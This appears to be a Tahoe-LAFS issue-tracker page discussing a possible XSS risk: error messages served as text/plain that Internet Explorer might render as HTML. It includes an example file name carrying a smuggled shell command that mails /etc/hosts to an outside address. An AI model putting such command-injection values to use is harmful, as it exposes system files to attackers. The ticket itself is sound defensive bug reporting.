Unlikely XSS Potential in File Names in WUI #1142
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LeastAuthority.com automation
blocker
cannot reproduce
cloud-branch
code
code-dirnodes
code-encoding
code-frontend
code-frontend-cli
code-frontend-ftp-sftp
code-frontend-magic-folder
code-frontend-web
code-mutable
code-network
code-nodeadmin
code-peerselection
code-storage
contrib
critical
defect
dev-infrastructure
documentation
duplicate
enhancement
fixed
invalid
major
minor
n/a
normal
operational
packaging
somebody else's problem
supercritical
task
trivial
unknown
was already fixed
website
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Reference: tahoe-lafs/trac-2024-07-25#1142
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Delete Branch "%!s(<nil>)"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
I have a file named "zumby-bumby ; mail blaggy@mailinator.com < /etc/hosts" in the pubgrid root (http://pubgrid.tahoe-lafs.org/uri/URI%3ADIR2%3Actmtx2awdo4xt77x5xxaz6nyxm%3An5t546ddvd6xlv4v6se6sjympbdbvo7orwizuzl42urm73sxazqa/).
When you try to rename it, you get the message:
"No such child: zumby-bumby ; mail blaggy@mailinator.com < /etc/hosts"
served as text/plain. IE will render text/plain as HTML if it detects HTML in the plain text. Pathetic, but true. To attack this, the attacker would have to convince the user to add a maliciously-named file to their directory, so it's more social engineering than automatable attack, but still.
Do we know what their HTML-detector looks like? Is is looking at the start of the body, or in the middle? Specifically, would a text/plain response that says "No such child: <html>
If it's really stupid and looks in the middle, I suppose our defense is to return a text/html error message in which the filename has been safely encoded. (the CLI tools use a "Accept: text/plain, application/octet-stream" header, and I imagine IE accepts text/html, so we can have the server continue to give text/plain to the CLI tools).